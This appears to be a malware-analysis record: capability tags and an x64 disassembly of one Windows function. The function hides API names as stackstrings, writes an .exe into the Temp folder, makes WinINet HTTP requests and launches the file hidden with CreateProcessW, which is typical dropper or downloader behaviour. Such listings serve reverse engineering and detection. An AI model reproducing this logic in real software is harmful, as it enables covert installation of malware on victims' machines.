Function at 0x140005310
Capabilities:
Contain obfuscated stackstrings
Link many functions at runtime
Query environment variable
Write file on windows

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1c8]
sub rsp, 0x2c8
mov rax, qword [0x140028040]
xor rax, rsp
mov qword [rbp + 0x1b0], rax
mov rax, r9
mov qword [rsp + 0x68], rax
mov rsi, r8
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x50], rcx
mov qword [rbp - 0x70], rcx
mov qword [rbp + 0x30], rdx
mov qword [rbp + 0x38], r8
mov qword [rbp - 8], rax
mov r12, qword [rbp + 0x230]
mov qword [rbp], r12
mov r14, qword [rbp + 0x238]
mov qword [rbp + 8], r14
mov rbx, qword [rbp + 0x240]
mov qword [rsp + 0x70], rbx
mov qword [rbp + 0x10], rbx
mov r15, qword [rbp + 0x248]
mov qword [rbp + 0x18], r15
mov r13, qword [rbp + 0x250]
mov qword [rbp + 0x20], r13
mov rdi, qword [rbp + 0x258]
mov qword [rbp + 0x28], rdi
mov eax, dword [0x140028a48]
mov dword [rbp - 0x78], eax
mov eax, dword [0x1400280b4]
mov dword [rbp + 0x40], eax
lea rcx, [0x140028b78]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rbx, rax
lea rdx, [0x140028a18]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140028828], rax
lea rdx, [0x140028a00]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140028840], rax
lea rdx, [0x1400289e8]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140028820], rax
lea rdx, [0x140028b98]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140028830], rax
lea rcx, [0x140028940]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rbx, rax
xor ecx, ecx
mov dword [rbp + 0x17f], ecx
mov byte [rbp + 0x183], cl
mov dword [rbp + 0x170], 0x61657243
mov dword [rbp + 0x174], 0x72506574
mov dword [rbp + 0x178], 0x7365636f
mov word [rbp + 0x17c], 0x5773
mov byte [rbp + 0x17e], cl
lea rdx, [rbp + 0x170]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140028848], rax
mov dword [rbp + 0x1aa], 0x74
movdqa xmm0, xmmword [0x140023d60]
movdqu xmmword [rbp + 0x198], xmm0
mov word [rbp + 0x1a8], 0x6365
lea rdx, [rbp + 0x198]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140028838], rax
mov rbx, qword [rsp + 0x70]
mov rcx, rbx
cmp qword [rbx + 0x18], 0xf
jbe 0x1400054d5
mov rcx, qword [rbx]
xor eax, eax
mov dword [rsp + 0x20], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call qword [0x140028828]
mov qword [rbp - 0x80], rax
test rax, rax
jne 0x1400057c7
xorps xmm0, xmm0
mov rax, qword [rsp + 0x50]
movups xmmword [rax], xmm0
xor ecx, ecx
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], rcx
xor r8d, r8d
lea rdx, [0x1400238b0]
mov rcx, rax
call fcn.140003cc0
nop
mov rbx, qword [rsp + 0x58]
mov rdx, qword [rbx + 0x18]
cmp rdx, 0xf
jbe 0x14000555d
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x140005558
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140006e7c
mov rcx, r8
call fcn.14001dfb0
xor eax, eax
mov qword [rbx + 0x10], rax
mov qword [rbx + 0x18], 0xf
mov byte [rbx], al
mov rdx, qword [rsi + 0x18]
cmp rdx, 0xf
jbe 0x1400055a9
mov rcx, qword [rsi]
inc rdx
cmp rdx, 0x1000
jb 0x1400055a2
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140006e83
mov rcx, r8
call fcn.14001dfb0
xor eax, eax
mov qword [rsi + 0x10], rax
mov qword [rsi + 0x18], 0xf
mov byte [rsi], 0
mov rbx, qword [rsp + 0x68]
mov rdx, qword [rbx + 0x18]
cmp rdx, 0xf
jbe 0x1400055f7
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x1400055f2
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140006e8a
mov rcx, r8
call fcn.14001dfb0
xor esi, esi
mov qword [rbx + 0x10], rsi
mov qword [rbx + 0x18], 0xf
mov byte [rbx], sil
mov rdx, qword [r12 + 0x18]
cmp rdx, 0xf
jbe 0x140005644
mov rcx, qword [r12]
inc rdx
cmp rdx, 0x1000
jb 0x14000563f
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140006e91
mov rcx, r8
call fcn.14001dfb0
mov qword [r12 + 0x10], rsi
mov qword [r12 + 0x18], 0xf
mov byte [r12], 0
mov rdx, qword [r14 + 0x18]
cmp rdx, 0xf
jbe 0x140005691
mov rcx, qword [r14]
inc rdx
cmp rdx, 0x1000
jb 0x14000568c
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140006e98
mov rcx, r8
call fcn.14001dfb0
mov qword [r14 + 0x10], rsi
mov qword [r14 + 0x18], 0xf
mov byte [r14], 0
mov rbx, qword [rsp + 0x70]
mov rdx, qword [rbx + 0x18]
cmp rdx, 0xf
jbe 0x1400056e0
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x1400056db
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140006e9f
mov rcx, r8
call fcn.14001dfb0
mov qword [rbx + 0x10], rsi
mov qword [rbx + 0x18], 0xf
mov byte [rbx], 0
mov rdx, qword [r15 + 0x18]
cmp rdx, 0xf
jbe 0x140005729
mov rcx, qword [r15]
inc rdx
cmp rdx, 0x1000
jb 0x140005724
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140006ea6
mov rcx, r8
call fcn.14001dfb0
mov qword [r15 + 0x10], rsi
mov qword [r15 + 0x18], 0xf
mov byte [r15], 0
mov rdx, qword [r13 + 0x18]
cmp rdx, 0xf
jbe 0x140005774
mov rcx, qword [r13]
inc rdx
cmp rdx, 0x1000
jb 0x14000576f
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140006ead
mov rcx, r8
call fcn.14001dfb0
mov qword [r13 + 0x10], rsi
mov qword [r13 + 0x18], 0xf
mov byte [r13], 0
mov rdx, qword [rdi + 0x18]
cmp rdx, 0xf
jbe 0x140005ae0
inc rdx
mov rcx, qword [rdi]
cmp rdx, 0x1000
jb 0x140005adb
add rdx, 0x27
mov rax, qword [rcx - 8]
sub rcx, rax
add rcx, 0xfffffffffffffff8
cmp rcx, 0x1f
ja 0x140006eb4
mov rcx, rax
jmp 0x140005adb
mov rdx, r12
cmp qword [r12 + 0x18], 0xf
jbe 0x1400057d6
mov rdx, qword [r12]
xor ecx, ecx
mov qword [rsp + 0x38], rcx
mov dword [rsp + 0x30], ecx
mov dword [rsp + 0x28], 3
mov qword [rsp + 0x20], rcx
xor r9d, r9d
movzx r8d, word [rbp + 0x40]
mov rcx, rax
call qword [0x140028840]
mov qword [rsp + 0x78], rax
test rax, rax
jne 0x140005b17
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xorps xmm0, xmm0
mov rax, qword [rsp + 0x50]
movups xmmword [rax], xmm0
xor ecx, ecx
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], rcx
xor r8d, r8d
lea rdx, [0x1400238b0]
mov rcx, rax
call fcn.140003cc0
nop
mov rbx, qword [rsp + 0x58]
mov rdx, qword [rbx + 0x18]
cmp rdx, 0xf
jbe 0x14000587e
inc rdx
cmp rdx, 0x1000
mov rcx, qword [rbx]
jb 0x140005879
mov r8, qword [rcx - 8]
sub rcx, r8
add rdx, 0x27
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140006e7c
mov rcx, r8
call fcn.14001dfb0
xor eax, eax
mov byte [rbx], al
mov qword [rbx + 0x18], 0xf
mov qword [rbx + 0x10], rax
mov rdx, qword [rsi + 0x18]
cmp rdx, 0xf
jbe 0x1400058ca
inc rdx
cmp rdx, 0x1000
mov rcx, qword [rsi]
jb 0x1400058c3
mov r8, qword [rcx - 8]
sub rcx, r8
add rdx, 0x27
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140006e83
mov rcx, r8
call fcn.14001dfb0
xor eax, eax
mov byte [rsi], 0
mov qword [rsi + 0x18], 0xf
mov qword [rsi + 0x10], rax
mov rbx, qword [rsp + 0x68]
mov rdx, qword [rbx + 0x18]
cmp rdx, 0xf
jbe 0x140005918
inc rdx
cmp rdx, 0x1000
mov rcx, qword [rbx]
jb 0x140005913
mov r8, qword [rcx - 8]
sub rcx, r8
add rdx, 0x27
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140006e8a
mov rcx, r8
call fcn.14001dfb0
xor esi, esi
mov byte [rbx], sil
mov qword [rbx + 0x18], 0xf
mov qword [rbx + 0x10], rsi
mov rdx, qword [r12 + 0x18]
cmp rdx, 0xf
jbe 0x140005965
inc rdx
cmp rdx, 0x1000
mov rcx, qword [r12]
jb 0x140005960
mov r8, qword [rcx - 8]
sub rcx, r8
add rdx, 0x27
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140006e91
mov rcx, r8
call fcn.14001dfb0
mov byte [r12], 0
mov qword [r12 + 0x18], 0xf
mov qword [r12 + 0x10], rsi
mov rdx, qword [r14 + 0x18]
cmp rdx, 0xf
jbe 0x1400059b2
inc rdx
cmp rdx, 0x1000
mov rcx, qword [r14]
jb 0x1400059ad
mov r8, qword [rcx - 8]
sub rcx, r8
add rdx, 0x27
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140006e98
mov rcx, r8
call fcn.14001dfb0
mov byte [r14], 0
mov qword [r14 + 0x18], 0xf
mov qword [r14 + 0x10], rsi
mov rbx, qword [rsp + 0x70]
mov rdx, qword [rbx + 0x18]
cmp rdx, 0xf
jbe 0x140005a01
inc rdx
cmp rdx, 0x1000
mov rcx, qword [rbx]
jb 0x1400059fc
mov r8, qword [rcx - 8]
sub rcx, r8
add rdx, 0x27
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140006e9f
mov rcx, r8
call fcn.14001dfb0
mov byte [rbx], 0
mov qword [rbx + 0x18], 0xf
mov qword [rbx + 0x10], rsi
mov rdx, qword [r15 + 0x18]
cmp rdx, 0xf
jbe 0x140005a4a
inc rdx
cmp rdx, 0x1000
mov rcx, qword [r15]
jb 0x140005a45
mov r8, qword [rcx - 8]
sub rcx, r8
add rdx, 0x27
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140006ea6
mov rcx, r8
call fcn.14001dfb0
mov byte [r15], 0
mov qword [r15 + 0x18], 0xf
mov qword [r15 + 0x10], rsi
mov rdx, qword [r13 + 0x18]
cmp rdx, 0xf
jbe 0x140005a95
inc rdx
cmp rdx, 0x1000
mov rcx, qword [r13]
jb 0x140005a90
mov r8, qword [rcx - 8]
sub rcx, r8
add rdx, 0x27
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140006ead
mov rcx, r8
call fcn.14001dfb0
mov qword [r13 + 0x10], rsi
mov qword [r13 + 0x18], 0xf
mov byte [r13], 0
mov rdx, qword [rdi + 0x18]
cmp rdx, 0xf
jbe 0x140005ae0
inc rdx
mov rcx, qword [rdi]
cmp rdx, 0x1000
jb 0x140005adb
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140006eb4
mov rcx, r8
call fcn.14001dfb0
mov byte [rdi], 0
mov qword [rdi + 0x18], 0xf
mov rax, qword [rsp + 0x50]
mov qword [rdi + 0x10], rsi
mov rcx, qword [rbp + 0x1b0]
xor rcx, rsp
call fcn.14001df90
add rsp, 0x2c8
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
xorps xmm0, xmm0
movups xmmword [rbp - 0x68], xmm0
xor edx, edx
mov qword [rbp - 0x58], rdx
mov qword [rbp - 0x50], rdx
mov rax, rbx
mov qword [rbp + 0x40], rbx
cmp qword [rbx + 0x18], 0xf
jbe 0x140005b3d
mov rax, qword [rbx]
mov qword [rbp + 0x40], rax
mov rbx, qword [rbx + 0x10]
movabs rcx, 0x7fffffffffffffff
mov qword [rsp + 0x60], rcx
cmp rbx, rcx
ja 0x140006ebb
mov qword [rbp - 0x50], 0xf
cmp rbx, 0xf
ja 0x140005b77
mov qword [rbp - 0x58], rbx
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x68], xmm0
jmp 0x140005c13
mov rax, rbx
or rax, 0xf
cmp rax, rcx
jbe 0x140005baf
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.14001e280
mov rcx, rax
test rax, rax
je 0x140005bdc
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x140005bf2
mov ecx, 0x16
cmp rax, rcx
cmovb rax, rcx
mov qword [rsp + 0x60], rax
lea rcx, [rax + 1]
cmp rcx, 0x1000
jb 0x140005be3
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140006ec1
jmp 0x140005b91
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x140005bef
call fcn.14001e280
jmp 0x140005bf2
mov rax, rdx
mov qword [rbp - 0x68], rax
mov qword [rbp - 0x58], rbx
mov rcx, qword [rsp + 0x60]
mov qword [rbp - 0x50], rcx
lea r8, [rbx + 1]
mov rdx, qword [rbp + 0x40]
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
mov rbx, qword [rsp + 0x58]
mov r9, rbx
lea rdx, [rbp - 0x68]
lea rcx, [rbp + 0x88]
call fcn.140004650
nop
cmp qword [rbp + 0x98], 0
je 0x14000691f
lea rdx, [rbp + 0x88]
lea rcx, [rbp + 0xa8]
call fcn.14000d090
nop
lea rdx, [rbp + 0xa8]
lea rcx, [rbp + 0x48]
call fcn.140004080
nop
lea rcx, [rbp + 0x68]
call fcn.140004f80
nop
mov ecx, 0xfa
call fcn.14001e2bc
mov rbx, rax
mov qword [rbp + 0x40], rax
xor edx, edx
mov r8d, 0xfa
mov rcx, rax
call sub.VCRUNTIME140.dll_memset
lea rcx, [rbx - 1]
nop
lea rcx, [rcx + 1]
cmp byte [rcx], 0
jne 0x140005c90
mov eax, dword [0x140023980]
mov dword [rcx], eax
lea r8, [rbp + 0x68]
cmp qword [rbp + 0x80], 0xf
cmova r8, qword [rbp + 0x68]
lea rcx, [rbx - 1]
lea rcx, [rcx + 1]
cmp byte [rcx], 0
jne 0x140005cb6
xor edx, edx
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [r8 + rdx]
mov byte [rcx + rdx], al
lea rdx, [rdx + 1]
test al, al
jne 0x140005cd0
lea rcx, [rbx - 1]
lea rcx, [rcx + 1]
cmp byte [rcx], 0
jne 0x140005ce4
mov eax, dword [str..exe]
mov dword [rcx], eax
movzx eax, byte [0x140023988]
mov byte [rcx + 4], al
mov ecx, 0x400
call fcn.14001e2bc
mov rbx, rax
xor edx, edx
mov r8d, 0x400
mov rcx, rax
call sub.VCRUNTIME140.dll_memset
xor eax, eax
mov qword [rbp + 0x188], rax
mov word [rbp + 0x190], ax
mov dword [rbp + 0x188], 0x706d6554
mov byte [rbp + 0x18c], al
mov r8d, 0x400
mov rdx, rbx
lea rcx, [rbp + 0x188]
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
mov ecx, 0x7d0
call fcn.14001e2bc
mov qword [rsp + 0x60], rax
xor edx, edx
mov r8d, 0x7d0
mov rcx, rax
call sub.VCRUNTIME140.dll_memset
mov r9, qword [rbp + 0x40]
mov r8, rbx
lea rdx, [0x14002398c]
mov rcx, qword [rsp + 0x60]
call fcn.1400010e0
mov rcx, qword [rbp + 0x40]
call fcn.14001dfb0
mov rcx, rbx
call fcn.14001dfb0
xor eax, eax
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov edx, 0x40000000
lea r8d, [rax + 2]
mov rbx, qword [rsp + 0x60]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rbp - 0x70], rax
cmp rax, 0xffffffffffffffff
je 0x140005e05
lea rdx, [rbp + 0x48]
cmp qword [rbp + 0x60], 0xf
cmova rdx, qword [rbp + 0x48]
xor ecx, ecx
mov qword [rsp + 0x20], rcx
lea r9, [rbp + 0x40]
mov r8d, dword [rbp + 0x58]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, qword [rbp - 0x70]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
mov r9, r13
cmp qword [r13 + 0x18], 0xf
jbe 0x140005e1e
mov r9, qword [r13]
mov r8, r14
cmp qword [r14 + 0x18], 0xf
jbe 0x140005e2b
mov r8, qword [r14]
mov rdx, r15
cmp qword [r15 + 0x18], 0xf
jbe 0x140005e38
mov rdx, qword [r15]
xor ecx, ecx
mov qword [rsp + 0x38], rcx
mov eax, dword [rbp - 0x78]
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], rcx
mov rcx, qword [rsp + 0x78]
call qword [0x140028820]
mov qword [rbp + 0x40], rax
test rax, rax
jne 0x140006275
mov rcx, rbx
call fcn.14001dfb0
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xorps xmm0, xmm0
mov rax, qword [rsp + 0x50]
movups xmmword [rax], xmm0
xor ebx, ebx
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rbx
xor r8d, r8d
lea rdx, [0x1400238b0]
mov rcx, rax
call fcn.140003cc0
nop
mov rdx, qword [rbp + 0x80]
cmp rdx, 0xf
jbe 0x140005eeb
inc rdx
mov rcx, qword [rbp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005ee6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400063e1
call fcn.14001dfb0
mov byte [rbp + 0x68], 0
mov qword [rbp + 0x80], 0xf
mov qword [rbp + 0x78], rbx
mov rdx, qword [rbp + 0x60]
cmp rdx, 0xf
jbe 0x140005f39
inc rdx
mov rcx, qword [rbp + 0x48]
cmp rdx, 0x1000
mov rax, rcx
jb 0x140005f34
mov rcx, qword [rcx - 8]
sub rax, rcx
add rdx, 0x27
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006847
call fcn.14001dfb0
mov byte [rbp + 0x48], 0
mov qword [rbp + 0x60], 0xf
mov qword [rbp + 0x58], rbx
mov rdx, qword [rbp + 0xc0]
cmp rdx, 0xf
jbe 0x140005f8b
inc rdx
mov rcx, qword [rbp + 0xa8]
cmp rdx, 0x1000
mov rax, rcx
jb 0x140005f85
mov rcx, qword [rcx - 8]
sub rax, rcx
add rdx, 0x27
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000689b
call fcn.14001dfb0
nop
mov rdx, qword [rbp + 0xa0]
cmp rdx, 0xf
jbe 0x140005fcd
inc rdx
mov rcx, qword [rbp + 0x88]
cmp rdx, 0x1000
mov rax, rcx
jb 0x140005fc7
mov rcx, qword [rcx - 8]
sub rax, rcx
add rdx, 0x27
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006635
call fcn.14001dfb0
nop
mov rbx, qword [rsp + 0x58]
mov rdx, qword [rbx + 0x18]
cmp rdx, 0xf
jbe 0x14000600c
inc rdx
cmp rdx, 0x1000
mov rcx, qword [rbx]
jb 0x140006007
mov r8, qword [rcx - 8]
sub rcx, r8
add rdx, 0x27
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140006788
mov rcx, r8
call fcn.14001dfb0
xor eax, eax
mov byte [rbx], al
mov qword [rbx + 0x18], 0xf
mov qword [rbx + 0x10], rax
mov rdx, qword [rsi + 0x18]
cmp rdx, 0xf
jbe 0x140006058
inc rdx
cmp rdx, 0x1000
mov rcx, qword [rsi]
jb 0x140006051
mov r8, qword [rcx - 8]
sub rcx, r8
add rdx, 0x27
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14000678f
mov rcx, r8
call fcn.14001dfb0
xor eax, eax
mov byte [rsi], 0
mov qword [rsi + 0x18], 0xf
mov qword [rsi + 0x10], rax
mov rbx, qword [rsp + 0x68]
mov rdx, qword [rbx + 0x18]
cmp rdx, 0xf
jbe 0x1400060a6
inc rdx
cmp rdx, 0x1000
mov rcx, qword [rbx]
jb 0x1400060a1
mov r8, qword [rcx - 8]
sub rcx, r8
add rdx, 0x27
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1400063e8
mov rcx, r8
call fcn.14001dfb0
xor esi, esi
mov byte [rbx], sil
mov qword [rbx + 0x18], 0xf
mov qword [rbx + 0x10], rsi
mov rdx, qword [r12 + 0x18]
cmp rdx, 0xf
jbe 0x1400060f3
inc rdx
cmp rdx, 0x1000
mov rcx, qword [r12]
jb 0x1400060ee
mov r8, qword [rcx - 8]
sub rcx, r8
add rdx, 0x27
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140006796
mov rcx, r8
call fcn.14001dfb0
mov byte [r12], 0
mov qword [r12 + 0x18], 0xf
mov qword [r12 + 0x10], rsi
mov rdx, qword [r14 + 0x18]
cmp rdx, 0xf
jbe 0x140006140
inc rdx
cmp rdx, 0x1000
mov rcx, qword [r14]
jb 0x14000613b
mov r8, qword [rcx - 8]
sub rcx, r8
add rdx, 0x27
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14000679d
mov rcx, r8
call fcn.14001dfb0
mov byte [r14], 0
mov qword [r14 + 0x18], 0xf
mov qword [r14 + 0x10], rsi
mov rbx, qword [rsp + 0x70]
mov rdx, qword [rbx + 0x18]
cmp rdx, 0xf
jbe 0x14000618f
inc rdx
cmp rdx, 0x1000
mov rcx, qword [rbx]
jb 0x14000618a
mov r8, qword [rcx - 8]
sub rcx, r8
add rdx, 0x27
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1400063ef
mov rcx, r8
call fcn.14001dfb0
mov byte [rbx], 0
mov qword [rbx + 0x18], 0xf
mov qword [rbx + 0x10], rsi
mov rdx, qword [r15 + 0x18]
cmp rdx, 0xf
jbe 0x1400061d8
inc rdx
mov rcx, qword [r15]
cmp rdx, 0x1000
jb 0x1400061d3
mov r8, qword [rcx - 8]
sub rcx, r8
add rdx, 0x27
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1400067a4
mov rcx, r8
call fcn.14001dfb0
mov byte [r15], 0
mov qword [r15 + 0x18], 0xf
mov qword [r15 + 0x10], rsi
mov rdx, qword [r13 + 0x18]
cmp rdx, 0xf
jbe 0x140006223
inc rdx
mov rcx, qword [r13]
cmp rdx, 0x1000
jb 0x14000621e
mov r8, qword [rcx - 8]
sub rcx, r8
add rdx, 0x27
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1400067ab
mov rcx, r8
call fcn.14001dfb0
mov qword [r13 + 0x10], rsi
mov qword [r13 + 0x18], 0xf
mov byte [r13], 0
mov rdx, qword [rdi + 0x18]
cmp rdx, 0xf
jbe 0x140005ae0
inc rdx
mov rcx, qword [rdi]
cmp rdx, 0x1000
jb 0x140005adb
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
jbe 0x140005ad8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov ecx, 0x3e80
call fcn.14001e2bc
mov rbx, rax
mov qword [rbp - 0x78], rax
xor edx, edx
mov r8d, 0x3e80
mov rcx, rax
call sub.VCRUNTIME140.dll_memset
xor eax, eax
mov qword [rbp + 0x160], rax
mov word [rbp + 0x168], ax
mov dword [rbp + 0x160], 0x64697375
mov byte [rbp + 0x164], al
mov r9, rsi
cmp qword [rsi + 0x18], 0xf
jbe 0x1400062c3
mov r9, qword [rsi]
mov rax, qword [rsp + 0x68]
mov rcx, rax
cmp qword [rax + 0x18], 0xf
jbe 0x1400062d5
mov rcx, qword [rax]
mov qword [rsp + 0x20], rcx
lea r8, [rbp + 0x160]
lea rdx, str._s33up_____s_____s
mov rcx, rbx
call fcn.1400010e0
mov rdx, rdi
cmp qword [rdi + 0x18], 0xf
jbe 0x140006302
mov rdx, qword [rdi]
mov r10, rdx
jmp 0x140006305
mov r10, rdi
mov rbx, 0xffffffffffffffff
mov rax, rbx
mov rcx, qword [rbp - 0x78]
inc rax
cmp byte [rcx + rax], 0
jne 0x140006313
mov r8, rbx
nop
inc r8
cmp byte [rdx + r8], 0
jne 0x140006320
mov dword [rsp + 0x20], eax
mov r9, rcx
mov rdx, r10
mov rcx, qword [rbp + 0x40]
call qword [0x140028830]
test eax, eax
jne 0x1400063f6
mov rcx, qword [rsp + 0x60]
call fcn.14001dfb0
mov rcx, qword [rbp - 0x78]
call fcn.14001dfb0
mov rcx, qword [rbp + 0x40]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xorps xmm0, xmm0
mov rax, qword [rsp + 0x50]
movups xmmword [rax], xmm0
xor ebx, ebx
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rbx
xor r8d, r8d
lea rdx, [0x1400238b0]
mov rcx, rax
call fcn.140003cc0
nop
mov rdx, qword [rbp + 0x80]
cmp rdx, 0xf
jbe 0x140005eeb
inc rdx
mov rcx, qword [rbp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005ee6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005ee6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov rcx, qword [rbp + 0x40]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov dword [rbp + 0xf0], 0x68
xorps xmm0, xmm0
movups xmmword [rbp + 0xf8], xmm0
movups xmmword [rbp + 0x108], xmm0
movups xmmword [rbp + 0x118], xmm0
movups xmmword [rbp + 0x128], xmm0
movups xmmword [rbp + 0x138], xmm0
movups xmmword [rbp + 0x148], xmm0
mov dword [rbp + 0x12c], 1
xor eax, eax
mov word [rbp + 0x130], ax
movups xmmword [rbp - 0x48], xmm0
mov qword [rbp - 0x38], rax
mov qword [rbp - 0x30], rax
mov rax, qword [rsp + 0x60]
inc rbx
cmp byte [rax + rbx], 0
jne 0x140006470
mov r8, rbx
mov rbx, rax
mov rdx, rax
lea rcx, [rbp - 0x48]
call fcn.140003cc0
nop
lea rdx, [rbp - 0x48]
lea rcx, [rbp + 0xc8]
call fcn.14001d9b0
nop
mov rdx, qword [rbp - 0x30]
cmp rdx, 0xf
jbe 0x1400064db
inc rdx
mov rcx, qword [rbp - 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400064d6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400064d6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14001dfb0
xor edx, edx
mov qword [rbp - 0x38], rdx
mov qword [rbp - 0x30], 0xf
mov byte [rbp - 0x48], dl
lea rcx, [rbp + 0xc8]
cmp qword [rbp + 0xe0], 7
cmova rcx, qword [rbp + 0xc8]
lea rax, [rbp - 0x20]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0xf0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdx
mov qword [rsp + 0x30], rdx
mov dword [rsp + 0x28], edx
mov dword [rsp + 0x20], edx
xor r9d, r9d
xor r8d, r8d
call qword [0x140028848]
test eax, eax
jne 0x1400067b2
mov rcx, rbx
call fcn.14001dfb0
lea rdx, [0x1400238b0]
mov rcx, qword [rsp + 0x50]
call fcn.140003c40
nop
lea rcx, [rbp + 0xc8]
call fcn.140003b60
nop
lea rcx, [rbp + 0x68]
call fcn.140003be0
nop
